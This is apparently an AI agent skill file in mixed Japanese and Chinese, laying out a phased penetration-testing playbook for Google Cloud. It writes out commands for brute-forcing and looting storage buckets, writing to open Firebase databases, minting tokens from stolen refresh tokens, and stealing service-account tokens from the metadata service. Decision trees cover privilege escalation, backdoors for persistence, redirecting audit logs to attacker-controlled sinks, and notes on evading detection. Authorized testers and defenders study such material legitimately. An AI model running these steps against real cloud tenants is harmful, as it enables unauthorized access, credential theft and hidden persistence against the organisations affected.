gcp-pentesting

GCP クラウド環境のペネトレーションテスト手法

GCP は世界三大パブリッククラウドの 1 つであり、多くの企業の中核業務を支えています。独自のリソース階層モデル（Organization → Folder → Project → Resource）、Service Account の仕組み、IAM 権限継承モデルによって、AWS／Azure とは大きく異なる攻撃対象領域が形成されています。本スキルでは、攻撃フェーズ（Phase）を軸に、「認証情報なし」から「完全な制御」までの一連のペネトレーション経路を構成します。

GCP と AWS の主な違い

概念	GCP	AWS
リソース階層	Organization → Folder → Project → Resource	Account → OU → Resource
ID 主体	Google Account、Service Account、Group	IAM User、IAM Role
認証情報の種類	SA Key (JSON)、OAuth Token、Metadata Token	AK/SK、STS Token、Instance Profile
権限のバインド	リソース上でバインド（get-iam-policy）	主体にポリシーをアタッチ（Policy）
PassRole 相当	iam.serviceAccounts.actAs	iam:PassRole
メタデータエンドポイント	Metadata-Flavor: Google ヘッダーが必要	IMDSv1 はヘッダー不要／IMDSv2 は Token が必要
アクセス範囲	OAuth Scopes が Token の機能を制限	相当する仕組みなし

詳細な参考資料

具体的な攻撃フェーズを特定したら、該当する参考ドキュメントを読み込み、技術的な詳細を確認します。

• 37 のサービス権限昇格経路（クラスター別） → references/iam-privesc.md を読む
• ポストエクスプロイトと永続化の手法一覧（20 以上のサービス） → references/post-exploit-persistence.md を読む

Phase 0：攻撃対象領域の判断

GCP 関連のターゲットを入手したら、まず手元にある資産の種類を判断し、どの攻撃フェーズに進むかを決定します。

当前持有什么？
├── 无任何凭据
│   ├── 有目标域名/IP → Phase 1（未授权枚举）
│   ├── 有 SSRF 漏洞 → 直接打 Metadata 获取 SA Token → Phase 2
│   └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 Service Account Key（JSON 格式，含 private_key 字段）
│   └── → Phase 2（凭据验证与权限评估）
│
├── 有 OAuth Access Token（ya29. 开头）
│   └── → Phase 2（注意：有效期通常 1 小时，需快速行动）
│
├── 有 Refresh Token（从 gcloud 本地配置窃取）
│   └── → 生成新 Access Token → Phase 2（可长期维持）
│
├── 在 Compute Engine / Cloud Functions / Cloud Run 实例内部
│   └── → 通过 Metadata 获取绑定 SA 的 Token → Phase 2
│
└── 有 gcloud CLI 配置目录（~/.config/gcloud/）
    └── → 提取 access_tokens.db / credentials.db → Phase 2

GCP 認証情報の種類早見表

認証情報の種類	識別方法	有効期間	入手方法
SA Key (JSON)	JSON ファイルに type: service_account と private_key が含まれる	永続（削除されるまで）	コンソールで作成／コードから漏えい
OAuth Access Token	ya29. で始まる	1 時間	gcloud／Metadata／API
Refresh Token	credentials.db に保存	通常は長期間有効ですが、失効、未使用、ユーザーのセキュリティイベント、Google Cloud session control の影響を受けます	gcloud のローカルファイル
Metadata Token	169.254.169.254 から取得	自動ローテーション（約 1 時間）	Compute／Functions／Run の内部
OIDC Identity Token	JWT 形式	1 時間	SA による発行／Metadata
HMAC Key	AccessId + Secret（GCS の相互運用に使用）	永続	gsutil hmac create

OAuth Scopes と IAM の関係

GCP の Metadata Token は OAuth Scopes によって制限されます。IAM で SA に Owner 権限があっても、VM に設定された Scope が cloud-platform.read-only のみの場合、Token で実行できるのは読み取りだけです。回避方法：

• 侵害したホスト上で SA Key ファイルを検索する（Scope の制限を受けません）
• Scope の制限がより緩い別の VM に移動する
• iam.serviceAccountKeys.create 権限を利用して新しい Key を生成する

Phase 1：未認証の列挙

GCP の認証情報が一切なくても、ターゲットに対して多くの情報を収集できます。

価値の高い列挙対象

対象	攻撃方法	価値
GCS Bucket	ドメイン列挙と storage.googleapis.com の総当たり推測	データ漏えい、認証情報ファイルの入手
Cloud Functions URL	https://REGION-PROJECT.cloudfunctions.net/FUNC	Web 脆弱性の悪用、認証なしの呼び出し
Cloud Run サービス	https://SERVICE-xxx.a.run.app	Web 脆弱性の悪用
App Engine	https://PROJECT.appspot.com	Web 脆弱性の悪用、バージョン列挙
Firebase RTDB	https://PROJECT.firebaseio.com/.json	データベースの直接読み取り
Compute Engine の公開ポート	Nmap + サービスフィンガープリント	SSRF → Metadata → SA Token
BigQuery の公開データセット	bq ls --project PROJECT	機密データの漏えい
Source Repositories	gcloud source repos list	コードの漏えい
API Keys	フロントエンドコード／リクエストのキャプチャ	制限のない API Key の悪用

GCS Bucket の簡易列挙

# 1. 检查 Bucket 是否公开可列出
curl "https://storage.googleapis.com/TARGET-BUCKET"
gcloud storage ls gs://TARGET-BUCKET 2>/dev/null  # 如需匿名测试，先在隔离配置中禁用凭据

# 2. 暴力猜解 Bucket 名（常见命名规则）
for name in TARGET TARGET-backup TARGET-dev TARGET-staging TARGET-prod; do
  curl -s -o /dev/null -w "%{http_code} $name\n" \
    "https://storage.googleapis.com/$name"
done

# 3. 如果可读，下载敏感文件
gsutil -m cp -r gs://TARGET-BUCKET/ ./loot/ 2>/dev/null

# 自动化工具
# GCPBucketBrute - 枚举 GCS Bucket 并测试权限
python3 gcpbucketbrute.py -k TARGET_KEYWORD -w wordlist.txt

Firebase データベースの簡易検査

# 尝试未授权读取 Realtime Database
curl "https://TARGET-PROJECT.firebaseio.com/.json"

# 尝试写入测试
curl -X PUT "https://TARGET-PROJECT.firebaseio.com/test.json" -d '"pwned"'

公開リソースの総合列挙ツール

# cloud_enum - 枚举 GCS Bucket、Firebase、App Engine、Cloud Functions
python3 cloud_enum.py -k TARGET_KEYWORD

# CloudBrute - 多云公开资源暴力枚举
CloudBrute -d TARGET -k TARGET -w wordlist.txt

Phase 2：認証情報の検証と権限評価

認証情報を入手したら、最初に有効性を検証し、権限の範囲を評価します。

2.1 認証情報の設定と本人確認

# 方式一：SA Key 文件认证
gcloud auth activate-service-account --key-file=sa_key.json

# 方式二：直接使用 OAuth Token（无需文件）
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.xxxx"
gcloud projects list

# 方式三：使用窃取的 Refresh Token 生成新 Access Token
curl -s --data client_id=32555940559.apps.googleusercontent.com \
  --data client_secret=ZmssLNjJy2998hD4CTg2ejr2 \
  --data grant_type=refresh_token \
  --data refresh_token=STOLEN_REFRESH_TOKEN \
  --data scope="https://www.googleapis.com/auth/cloud-platform" \
  https://www.googleapis.com/oauth2/v4/token

# 身份确认
gcloud auth list
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://www.googleapis.com/oauth2/v1/tokeninfo"

2.2 Organization と Project の列挙

# 组织信息
gcloud organizations list
gcloud resource-manager folders list --organization ORG_NUMBER

# 项目列表
gcloud projects list

# 当前项目详情
gcloud config get-value project
gcloud projects describe PROJECT_ID

2.3 権限の列挙

# 方法一：列出 SA 的 IAM 绑定（需要 iam 读权限）
gcloud projects get-iam-policy PROJECT_ID \
  --flatten="bindings[].members" \
  --filter="bindings.members:serviceAccount:SA_EMAIL" \
  --format="table(bindings.role)"

# 方法二：暴力枚举可用权限（无需 iam 读权限）
# bf_my_gcp_permissions - 暴力测试当前凭据拥有的权限
python3 bf_my_gcp_permissions.py -p PROJECT_ID

# 方法三：列出拥有 Key 的 SA（寻找更多攻击面）
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $sa ==="
  gcloud iam service-accounts keys list --iam-account "$sa"
done

2.4 権限評価の判断ツリー

当前身份权限如何？
├── 有 roles/owner 或 roles/editor → 已是高权限，直接 Phase 4
├── 有 iam 读权限但无写权限 → 枚举所有 SA/用户/角色，寻找提权路径 → Phase 3
├── 有特定服务权限（如 storage.*、compute.*、cloudfunctions.*）
│   ├── 检查是否有 iam.serviceAccounts.actAs → 可通过服务提权 → Phase 3
│   ├── 有 compute.instances.create + actAs → Compute 提权 → Phase 3
│   └── 可直接利用当前权限进行后渗透 → Phase 4
├── Token 受 OAuth Scopes 限制
│   └── 尝试绕过 Scopes（搜索 SA Key、跳转其他 VM）→ Phase 2
└── 权限极低 → 暴力枚举更多权限，或回到 Phase 1 寻找更多入口

GCP IAM の権限昇格と GKE 攻撃の詳細ガイドについては、gcp-exploit スキルを参照してください。

クラウドをまたいだ IAM 監査については、cloud-iam-audit スキルを参照してください。

2.5 自動監査ツール

ツール	用途	コマンド
ScoutSuite	マルチクラウドのセキュリティ監査レポート	scout gcp --user-account
gcp_scanner	GCP リソースのスキャンと権限評価	python3 __main__.py -o /tmp/out/ -g ~/.config/gcloud
gcp_enum	GCP 環境の列挙（Bash スクリプト）	./gcp_enum.sh
bf_my_gcp_permissions	現在の認証情報の権限を総当たりで列挙	python3 bf_my_gcp_permissions.py -p PROJECT
gcpwn	GCP ペネトレーションテストフレームワーク	python3 main.py
Hayat	GCP の攻撃経路を検出	hayat scan --project PROJECT

Phase 3：権限昇格

GCP の権限昇格の基本は、現在の権限を利用して、より高い権限を取得することです。GCP には数百の権限があり、その多くは組み合わせることで権限昇格経路を形成できます。権限昇格のパターンは大きく 2 種類あります。

1. 主体の権限昇格：別の主体になりすます（例：getAccessToken を使って SA になりすます）
2. リソースの権限昇格：特定のリソースに対する権限を増やす（例：setIamPolicy を使って自分に権限を付与する）

重要な権限である iam.serviceAccounts.actAs は、GCP における iam:PassRole に相当し、SA をリソースにアタッチできます。

権限昇格経路の判断ツリー

当前拥有哪些权限？
├── IAM 直接操作
│   ├── iam.roles.update → 修改已分配角色添加权限
│   ├── iam.serviceAccounts.setIamPolicy → 给自己授予 SA 的 TokenCreator
│   ├── iam.serviceAccountKeys.create → 为目标 SA 创建新 Key
│   ├── iam.serviceAccounts.getAccessToken → 直接获取 SA Token
│   ├── iam.serviceAccounts.signBlob / signJwt → 签名冒充 SA
│   └── iam.serviceAccounts.implicitDelegation → 通过委派链冒充
│
├── 服务 + actAs 组合
│   ├── compute.instances.create + actAs → 创建绑定高权限 SA 的 VM
│   ├── cloudfunctions.functions.create + actAs → 创建恶意 Cloud Function
│   ├── run.services.create + actAs → 部署恶意 Cloud Run
│   ├── cloudbuild.builds.create + actAs → 提交恶意构建任务
│   ├── composer.environments.create + actAs → 创建 Composer 注入 DAG
│   ├── cloudscheduler.jobs.create + actAs → 定时调用 googleapis.com API
│   └── aiplatform.customJobs.create + actAs → Vertex AI 任务窃取 Token
│
├── 资源 setIamPolicy
│   ├── compute.instances.setIamPolicy → 授予自己 compute.admin
│   ├── cloudfunctions.functions.setIamPolicy → 授予 invoker 权限
│   ├── storage.buckets.setIamPolicy → 获取 Bucket 读写权限
│   ├── secretmanager.secrets.setIamPolicy → 获取 Secret 访问权
│   └── bigquery.datasets.setIamPolicy → 获取数据集访问权
│
└── 间接提权
    ├── storage.objects.get → 读取 Composer DAG / Cloud Functions 代码 Bucket
    ├── container.clusters.get + K8s RBAC → GKE 集群内提权
    ├── secretmanager.versions.access → 读取存储的凭据
    └── compute.projects.setCommonInstanceMetadata → 注入 SSH Key 到所有 VM

→ references/iam-privesc.md を読む

Phase 4：ポストエクスプロイトと永続化

より高い権限を取得したら、ポストエクスプロイトの段階に進みます。目的は、データの取得、横方向への移動、永続化の確立です。

4.1 価値の高いデータソース

优先搜索哪些数据源？
├── Secret Manager → 凭据、API Key、数据库密码
├── GCS Bucket → 文档、备份、日志、配置文件
├── BigQuery → 业务数据、分析数据
├── Cloud SQL → 业务数据库
├── Firestore / Spanner → NoSQL / 分布式数据库
├── Compute Engine 磁盘快照 → 挂载后读取完整文件系统
├── Cloud Logging → 应用日志中的敏感信息
├── Artifact Registry → 容器镜像中的源码和凭据
└── Source Repositories → 代码仓库

4.2 横向移动

跨项目移动：

• 利用 Organization 级别 IAM 绑定（一个 SA 可能在多个 Project 有权限）
• 利用 Shared VPC（跨项目网络访问）
• 利用 Service Account 的跨项目 impersonation

跨服务移动：

• Compute Engine → 通过 Metadata 获取 SA Token → 访问其他服务
• GKE Node → 获取 Node SA Token → 跳出 K8s 到 GCP 平面
• Cloud Functions / Cloud Run → 修改代码执行任意操作
• Composer (Airflow) → 注入恶意 DAG

4.3 持久化技术概览

服务	持久化方法	隐蔽性
IAM	创建新 SA Key、添加 IAM Binding、修改角色权限	低（Admin Activity 日志）
Compute Engine	SSH Key 注入、startup-script 后门、磁盘快照	中
Cloud Functions	修改函数代码、添加 allUsers invoker 权限	中
Cloud Run	部署后门服务、修改现有服务代码	中
Cloud Scheduler	创建定时任务调用 googleapis.com API	高
Pub/Sub	添加外部订阅者持续接收消息	高
Cloud Build	修改触发器注入恶意构建步骤	高
Storage	Bucket IAM 后门、HMAC Key 创建	中
Token 窃取	Refresh Token 持久化、SA Key 离线保存	高
API Keys	创建不受限制的 API Key	中
Logging	修改 Log Sink 将审计日志导出到攻击者控制的目标	高

→ 读 references/post-exploit-persistence.md

Phase 5: Workspace 穿越

GCP 与 Google Workspace 之间存在深度集成关系。拥有特定 GCP 权限的攻击者可能穿越到 Workspace 层面，反之亦然。

关键穿越路径

GCP → Workspace
├── Domain-Wide Delegation（DWD）
│   ├── SA 被授予 DWD 权限 → 冒充 Workspace 任意用户
│   └── 访问 Gmail、Drive、Calendar、Admin SDK 等
├── gcloud OAuth Scope 滥用
│   └── gcloud 支持 drive scope → 窃取 Drive 文件
└── Workspace 用户密码重置
    └── 拥有 Admin SDK 权限 → 重置用户密码

Workspace → GCP
├── Workspace 管理员 → 自动拥有 Organization Admin 权限
├── Group 成员管理 → 添加到有 GCP 权限的 Group
└── SAML/OIDC Federation → 利用 Identity Provider 信任关系

参考 gcp-workspace-pivot 技能，获取 GCP 到 Workspace 穿越完整指南

附录: GCP 速查

常用 gcloud 命令

# 身份与权限
gcloud auth list                                          # 当前认证身份
gcloud auth print-access-token                            # 打印 Access Token
gcloud projects get-iam-policy PROJECT_ID                 # 项目 IAM 策略
gcloud iam service-accounts list                          # 列出所有 SA
gcloud organizations list                                 # 列出组织

# 资源枚举
gcloud compute instances list                             # 列出 Compute 实例
gcloud storage ls                                         # 列出 GCS Bucket
gcloud functions list                                     # 列出 Cloud Functions
gcloud run services list                                  # 列出 Cloud Run 服务
gcloud sql instances list                                 # 列出 Cloud SQL
gcloud secrets list                                       # 列出 Secret Manager
gcloud container clusters list                            # 列出 GKE 集群

# Metadata 服务（从实例内部）
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

GCP 服务缩写对照表

服务	攻击面关键词
IAM	权限策略、Service Account、角色绑定、提权
Compute Engine	实例、Metadata、SSH Key、startup-script
GCS (Cloud Storage)	Bucket 策略、ACL、公开访问、HMAC Key
Cloud Functions	函数 URL、环境变量、绑定 SA
Cloud Run	服务 URL、容器部署、SA 绑定
GKE	RBAC、Node SA、Pod SA、集群凭据
BigQuery	数据集权限、数据导出、Row-Level Security
Cloud SQL	公开访问、导出、连接
Secret Manager	密钥存储、版本访问
KMS	Key Policy、加解密权限
Cloud Build	构建触发器、SA 令牌
Composer (Airflow)	DAG 注入、Bucket 后门
Pub/Sub	Topic/Subscription 策略
Cloud Scheduler	定时任务、OAuth/OIDC Token 获取
Vertex AI	Notebook、Custom Job、Model 部署
Artifact Registry	镜像仓库策略、镜像投毒

注意事项

Cloud Audit Logs 审计感知： GCP 的审计日志分为两类：

日志类型	内容	默认启用	OPSEC 影响
Admin Activity	资源创建/修改/删除、IAM 变更	始终启用，不可关闭	高（所有管理操作可见）
Data Access	数据读取/写入（如 GCS GetObject、BigQuery 查询）	默认关闭	低（但组织可能启用）

高风险操作（必定触发 Admin Activity 日志）：

• IAM 变更（CreateServiceAccount、CreateServiceAccountKey、SetIamPolicy）
• 资源创建（CreateInstance、DeployFunction、CreateCluster）
• 角色变更（iam.roles.update、setIamPolicy）

检测绕过注意事项：

• 数据平面操作（GCS 读取、BigQuery 查询）在默认配置下不记录
• Metadata 服务访问不产生 Cloud Audit Log
• Organization Policy 可能限制 SA Key 创建、外部 IP 分配等操作
• VPC Service Controls 可能阻止数据离开受保护的项目边界

区域差异： GCP 资源是区域/多区域隔离的。枚举时需遍历所有可用区域。全球服务（IAM、Cloud Resource Manager）不受区域限制。